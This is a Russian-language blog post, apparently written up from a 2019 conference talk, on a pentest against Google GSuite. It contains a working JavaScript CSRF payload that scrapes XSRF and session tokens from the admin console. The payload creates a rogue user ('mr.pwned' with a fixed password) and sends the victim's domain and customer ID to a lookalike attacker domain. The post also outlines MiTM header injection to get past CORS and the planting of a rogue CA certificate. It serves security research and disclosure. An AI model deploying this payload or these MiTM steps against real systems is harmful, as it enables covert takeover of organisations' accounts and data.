27.09.2019 в г.Алматы, прошла ИТ-ИБ конференция Open SysConf’19, на которой я выступил с докладом, который отображён в заголовке данного поста. По заявкам трудящихся решено было запостить его в блог, т.к. есть ощущение, что информация в текстовом виде, после презентации зайдёт как положено 🙂

Для эстетов чтива гугл-доков — данный доклад можно прочитать здесь

Google GSuite case

Бывает так, что во время пентеста, выясняется, что у клиента юзается Google GSuite. В такой ситуации — клиенты ликуют, ощущая себя и свои данные в безопасности, пентестеры в большинстве случаев тупо обходят стороной всё это дело, понимая, что фишинг заслать туда нельзя, слить ничего нельзя, в инфраструктуру не попасть и тд (можно…), и лишь хакеры-исследователи, понимают, что уязвимости есть всегда, везде, и во всём, вопрос лишь во вложенности своего времени в исследуемый объект.  И Google здесь не исключение, я как-то уже пару-тройку раз описывал это в своём бложике. 

Так и здесь, был кейс, когда у заказчика используется GSuite, который полностью заменяет документооборот, почту, календарь, и рулится всё это добро через https://admin.google.com , в общем полный in da Cloud! xD

По части безопасности, то у всех пользователей и админов в рамках политики домена привязанного к GSuite — используется 2FA. Это и огорчает большинство пентестеров, потому что обход 2FA — в большинстве, это означает доступ к устройству атакуемого, и заморачиваться с этим особо никто не горит желанием, ибо малая оплата труда при высоком риске быть взятым за булки — такая перспектива никого не радует. Способы с терморектальным криптоанализатором в данном кейсе мы опустим, т.к. мы всё-же технари, а не Major’Ы. 

В основном, прямо, в лоб, сложные методы и техники люди отказываются воспринимать, ссылаясь на сложность выполнения той или иной атаки, есть ощущение, что с оценочным суждением в технических моментах у таких людей имеется ряд серьёзных проблем))

На самом деле, не так страшен чёрт объект, как его малюют! Если например, найти уязвимость, которая защищается одним механизмом, защита которого обходится проведением другого типа атаки, то защита объекта в целом — вызывает ряд вопросов…)

В нашем кейсе, примерно так и получилось — есть клиент, который использует все фичи GSuite, есть задача — попытаться максимально скомпрометировать клиента, а это значит, что доступ к почте, документообороту и прочей полезной информации крайне необходим для успешного проведения сия мероприятия. Отодвинув все предубеждения в сторону, решено было поискать всевозможные зацепки в  GSuite, много чего интересного было найдено, но под пентест-кейс это не подходило, т.к. найденные прогрехи больше относились к Google, нежели к клиенту.

Ковыряясь в BurpSuite (отладочный прокси сервер, если вдруг кто не знал…) я обратил внимание на то, как выглядят запросы в GSuite https://admin.google.com при создании пользователя, как можно заметить используется GraphQL, который имеет множество проблем с безопасностью (из личной практики):

Взглянув на запрос, можно обратить внимание, как некоторые параметры динамически изменяются, и они выделены желтым цветом. Проанализировав поведение статических и динамических параметров, стало понятно, что:

  • Зеленые параметры — они либо статические, либо вводятся пользователем, следовательно нас они сильно не интересуют.
  • f.sid — динамическое значение в URL, а-ля session ID привязан к общей сессии в HTTP-headers.
  • bl —  динамическое значение в URL, означает номер сборки DasherAdminConsoleUiServer.
  • 0477u8a2 (customer_id) — динамическое значение в URL и теле POST-запроса, означает ID клиента в GSuite.
  • username@customerdomain.com — Наполовину статический и динамический параметр, домен динамичен и используется current_domain, левая часть параметра вводится пользователем. 
  • at — динамическое значение в теле POST-запроса, тот самый XSRF-токен, который призван защитить от CSRF/SSRF-атак
  • _reqid — динамическое значение в URL, из названия понятно что это ID запроса, и должен быть к чему-то привязан (что необходимо проверить!).

На первый взгляд, неимоверное количество динамических параметров, и складывается полное впечатление, что здесь ловить нечего, ведь в большинстве случаев, даже один динамический параметр, уже может усложнить выполнение атаки (кто в теме — тот поймёт). Решено было поискать, где и в каких местах ещё встречается, а возможно и повторно используются параметры и их значения. Прогулявшись по логам BurpSuite, заюзав поиск по значению XSRF-токена, обнаружилось совпадение в URL’e https://admin.google.com/ac/users . Если взглянуть, что затягивается с серверов Google по этому адресу, то можно увидеть HTML-страницу, в которой содержится JSON-массив с  интересными метаданными (WIZ_global_data):

Рисунок 1 —  Массив данных (а-ля metadata)

Если взглянуть детальней на этот массив и немного его преобразовать в читаемый вид, то можно увидеть очень интересную картину:

Screenshot 2019-09-30 at 00.33.38

Screenshot 2019-09-30 at 00.37.04

Пример 2 — Анализ метаданных и динамических значений

Взглянув на обнаруженные выше данные, можно увидеть именно те нескучные динамические значения, которые используются в процессе выполнения POST-запроса при создании пользователя в https://admin.google.com. Не долго думая, попытаемся повторно  использовать обнаруженные динамические значения для формирования своего запроса по автоматическому созданию пользователя. Для этого нам понадобится распарсить обнаруженный массив, извлечь оттуда необходимые нам значения, и попытаться их заюзать в своих коварных целях, пытаясь провернуть а-ля CSRF, где “жертве” будет отправлена короткая ссылка, при переходе по которой, в фоновом режиме должен будет создаться пользователь в админке GSuite от имени залогиненого администратора. Для такого веселья быстренько был подреган правильный домен gogo.gl (похоже ведь!), дабы не вызывать лишнего подозрения у “жертвы” при переходе по ссылке.

Попробуем визуализировать суть предстоящей атаки, дабы понять, что нам предстоит написать и как автоматизировать всё это мероприятие:

Рисунок 2 — Схема CSRF-атаки

Чтобы воплотить выше задуманное в реальность, нам необходимо автоматизировать сия процесс, а следовательно накидать PoC, который будем писать на JS, т.к. суть атаки эмуляция пользовательских действий от имени уже авторизованного пользователя, то есть, полный client-side с атакой на конечного пользователя.

Писарь на JS из меня конечно ещё тот, но нам ведь главное работоспособность PoC’a, а не его эстетические свойства :). Опустим весь излишний html-код и рассмотрим здесь только сам js-payload, который исполняет то, что отрисовано на схеме:

  1. Пользователь переходит по ссылке посылая HTTP-запрос
  2. Залогиненым админов в GSuite в браузере открывается ссылка на gogo.gl
  3. JS-скрипт из index.html выполняет GET-запрос к https://admin.google.com/ac/users
    1. В ответ на запрос получаем массив метаданных WIZ_global_dataКоторый в дальнейшем парсится для извлечения динамических значений
  4. Формируем POST-запрос на создание пользователя используя распарсенные данные параметров domainName, customer_id, bl, at, f.sid
  5. Совершаем а-ля callback на сервер злоумышленника используя GET-запрос, в котором на сервер злоумышленника передаём — domainName и customer_id
  6. Злоумышленник из логов веб-сервера получает доменное имя и id-домена “жертвы” — этого достаточно, чтобы узнать что “жертва” перешла по ссылке и пользователь в админке GSuite был создан
  7. Злоумышленник получает доступ к GSuite имея на руках креды, созданного пользователя Mr.PWNED со своим паролем в домене жертвы…

const url_admin = 'https://admin.google.com/'
const url_meta = 'https://admin.google.com/ac/users' // URL where XSRF-token and other info has leakage
const url_payload = 'https://admin.google.com/_/DasherAdminConsoleUi/mutate?ds.extension=114082022&' // GraphQL EP
const url_callback = "http://gogo.gl/"
const doc = document.implementation.createHTMLDocument();
function GoogleHack() {
fetch(url_meta, {
  mode: 'cors',
  credentials: 'include' // Forward cookies
  })
.then(response => response.text())
.then((result) => {
  let dom_meta = doc.createElement('div');
  let uid_meta = doc.createElement('div');
  let fsid_meta = doc.createElement('div');
  let xsrf_meta = doc.createElement('div');
  let boq_meta = doc.createElement('div');
dom_meta.textContent = result.match(/(?:domainName=)(.+)(?:",null,")/)[1]; // Getting customer domain
uid_meta.textContent = result.match(/(?:cf2O6c":")(.+)(?:","cfb2h)/)[1]; // Getting customer ID
fsid_meta.textContent = result.match(/(?:FdrFJe":")(.+)(?:","Fx99ye)/)[1]; // Getting f.sid value
xsrf_meta.textContent = result.match(/(?:SNlM0e":")(.+)(?:","W3Yyqf)/)[1]; // Getting leakage XSRF token
boq_meta.textContent = result.match(/(?:"cfb2h":")(.+)(?:","eNnkwf)/)[1]; // Getting bl value

dom_meta = dom_meta.textContent
uid_meta = uid_meta.textContent
fsid_meta = fsid_meta.textContent
xsrf_meta = xsrf_meta.textContent
boq_meta = boq_meta.textContent

fetch(url_payload + `f.sid=${fsid_meta}`
+  `&bl=${boq_meta}&hl=en-GB&` + `customer_id=${uid_meta}`
+  "&soc-app=606&soc-platform=1&soc-device=1&_reqid=2251821&rt=c",
{
    mode: 'cors',
    method: 'POST',
    credentials: 'include',
    headers: {
      'Referer':'https://admin.google.com/',
      'Content-Type':'application/x-www-form-urlencoded;charset=utf-8'
    },
    body: `f.req=["af.maf",[["af.add",114082022,[{"114082022":[null,null,null,["mr.pwned@${dom_meta}`
    + `","MISTER","PWNED"],["SuperMeGaPass123",null,false],null,null,null,"${uid_meta}`
    + `",null,[],[[],[],null,null,null,null,null,null,null,null,[]],[[]],[[1,2]]]}]]]]&at=${xsrf_meta}&`
  })
  .then(function (data) { // Debug section
    document.write(`mr.pwned@${dom_meta} (MISTER PWNED) successfully created!!!`);
  })
  .catch(function (error) {
    document.write('Something went wrong... May be unauthorized?');
  })
fetch(url_callback + `callback?dom=${dom_meta}&uid=${uid_meta}`,
  {
  mode: 'cors',
  })
})
}
GoogleHack();

Пример 3 — Javascript payload создания пользователя в GSuite

В процессе испытаний PoC, стало понятно, что не так всё просто, на это и не стоило естественно надеяться)). Во время тестирования PoC, при попытке выполнить GET/POST-запросы можно получить ошибку связанную с CORS-протоколом — и это именно тот механизм, о котором говорилось в начале данного повествования:

Рисунок 3 — Обломчег с CORS…

Чтобы обойти эти механизмы — необходимо разMiTM’ить трафик. Звучит страшно, а на практике всё куда проще, ведь атака у нас таргетированная (пентест в данном кейсе), и предполагается, что доступ к инфраструктуре “жертвы” уже имеется — об этом я уже как-то писал, и много-много раз рассказывал устно)), либо имеется возможность скомпрометировать “жертву” используя десятки различных вариантов MiTM-атак, пробежимся быстренько по самым основным:

  • ARP spoofing — прикинуться default gateway в подсети “жертвы” пропуская трафик через себя
  • mDNS/DNS spoofing — посылать и подменять широковещательные DNS-запросы
    • WPAD attack — подмена прокси-сервера в Windows-домене
  • Другие Sniffing/Spoofing атаки:
    • Packet injection — инъекция TCP/UDP-пакетов в трафик жертвы
    • Session hijacking — хищение пользовательской сессии с дальнейшей её подменой и использованием 
    • SSL-strip — атака на TLS/SSL 
  • Fake Wi-Fi / LAN / GSM — полный набор вышеописанных техник в одном месте))

Так как, в текущей реальности, почти весь трафик зашифрован, и при перехвате его, особо полезного мы сделать не сможем,  то нам необходимо решить данный вопрос, и как нам уже давно известно, рабочим способом является установка CA-сертификата (да-да, именно того самого сертификата Безопасности о котором вы могли подумать) злоумышленника в доверительное хранилище “жертвы”, и способов как это сделать, опять же большое количество — начиная от применения техник Социальной Инженерии, заканчивая техническими реализациями, например, в большинстве современных ОС/дистрибутивах имеется возможность выполнить следующие команды:

Пример 4 — Установка CA-сертификата через терминал в различных ОС

Предварительно, нужно обладать правами администратора на целевой системе, чтобы быстренько воткнуть CA-сертификат. Если прикинуть, сколько встречается проблем связанных с использованием админских прав в различных системах/доменах/инфраструктурах, то внедрение CA-сертификата жертве не кажется какой-то непосильной задачей.

Итак, вернёмся к нашим исследованиям GSuite, и обновим наши взгляды на предстоящую атаку. Чтобы PoC успешно отработал и мы смогли провернуть CSRF-атаку без проблем, нам необходимо провести MiTM-атаку, в которой нам необходимо внедрить пару HTTP-заголовков в Response HTTPS-трафика:

  • Access-Control-Allow-Origin: http://gogo.gl
  • Access-Control-Allow-Credentials: true

Для проверки работоспособности нашего скрипта можно использовать тот же BurpSuite -> match and replace -> Add

Рисунок 4 — BurpSuite добавление HTTP-заголовков в Response

 Добавив два HTTP-заголовка в постоянный Response, то есть, в весь HTTPS-трафик и во все запросы инжектятся эти самые два заголовка, помогая обойти защиту (CORS by-pass). В такой ситуации, POST-запрос с нашим payload будет отрабатывать корректно:

Рисунок 5 — Обход CORS

Ну и чтобы нам узнать, что жертва перешла по нашей ссылки, совершим а-ля callback, который нам будет отстукивать, что пользователь перешел с определенного домена, и например передадим еще customer_id:

Screenshot 2019-09-28 at 22.57.37Рисунок 7 — Отстукиваем о создании пользователя

Исходя из вышеизложенного, можно прикинуть, что если жертву заMiTM’ить внедряя ей эти самые HTTP-заголовки, то провернуть CSRF-атаку не составит особого труда. Для MiTM-атаки в данном контексте гораздо удобней использовать наборы инструментов специально предназначенных для этого, например:

  • mitmproxy — классика жанра №1
  • Responder — классика жанра №2
  • Bettercap — переписанный на Go форк, наследие Ettercap
  • Tornado — комбайн всего и вся с MiTM, является как-бы более удобной обёрткой для других инструментов
  • etc…

Любой из вышеперечисленных инструментов, может позволить нам провести полноценную MiTM-атаку с инжектом необходимых нам HTTP-заголовков.

После внедрения HTTP-заголовков в трафик жертвы, а как видно из примера выше — это не особо сложно, и вполне выполнимо, провести CSRF-атаку не составляет особого труда, и как следствие PoC успешно отрабатывает и пользователь в админке GSuite успешно создаётся! Быстренько обновим наши представления по предстоящей нам атаке в виде всё той же схемы, только немного доработанной в виде USER -> MiTM -> CSRF -> GSUITE -> CALLBACK -> ACCESS:

Рисунок 6 — Эксплуатация CSRF в GSuite через MiTM

Анонимус, читающий вышеизложенный опус, может возмутиться — “мол, если делаем MiTM, то не проще ли дёрнуть сессию (session hijacking) жертвы, и просто заюзать её куки”. Идея конечно годная, и она была проверена в первую же очередь)), и как  оно понятно — не проще, т.к. у Google большое количество параметров в Cookies, и на любой “чих” с подменой сессии, Google либо запросит пароль, либо 2FA, либо пошлёт пользователю уведомление о том, что кто-то пытается залогиниться под его учётной записью. У Google сложный алгоритм формирования Cookie, который привязан к IP,  browser, timezone, etc — и это в совокупности, и угон сессии здесь проэксплуатировать тяжелей, чем вышеизложенное.

Рисунок 7 — Google Cookies

Возникает резонный вопрос, a что же думает Google на этот счёт?! И если коротко, то: “Ваш MiTM — ваши проблемы”, коннект скомпрометирован и тд., а то, что _reqid (да-да, тот самый параметр выделенный красным цветом) должен привязываться к XSRF-токену, который генерируется на стороне сервера, каждый токен должен иметь УНИКАЛЬНОЕ значение, без возможности повторного его использования, и это не имеет никакого значения, как говорит нам Google, потому что коннект скомпрометирован (рукалицо.jpg), при этом сама компрометация вытекает в MiTM с добавлением двух заголовков в Response (всё!), а где-то тихо MiTM’ят целые страны, пока клиенты Google утопают в мнимой безопасности…

Рисунок 8 — Ответ Google — коннект скомпрометирован, а GSuite нет!

Видео 1 Создание пользователя MiTM->CSRF

Наболевшие вопросы:

  • Зачем используется параметр _reqid, если он не привязан к XSRF-токену?
  • Почему Google похрен на безопасность конечного пользователя?

З.Ы. И да, этот доклад и преза были подготовлены в GSuite, в процессе подготовки ни один сервер Google не пострадал! Хотя, пару security-багов всё же было найдено, но это уже другая история =)

З.Ы.Ы. Преза с конфы здесь 

sysconf--white-prsentation-template

Добавить комментарий

Заполните поля или щелкните по значку, чтобы оставить свой комментарий:

Логотип WordPress.com

Для комментария используется ваша учётная запись WordPress.com. Выход /  Изменить )

Google photo

Для комментария используется ваша учётная запись Google. Выход /  Изменить )

Фотография Twitter

Для комментария используется ваша учётная запись Twitter. Выход /  Изменить )

Фотография Facebook

Для комментария используется ваша учётная запись Facebook. Выход /  Изменить )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.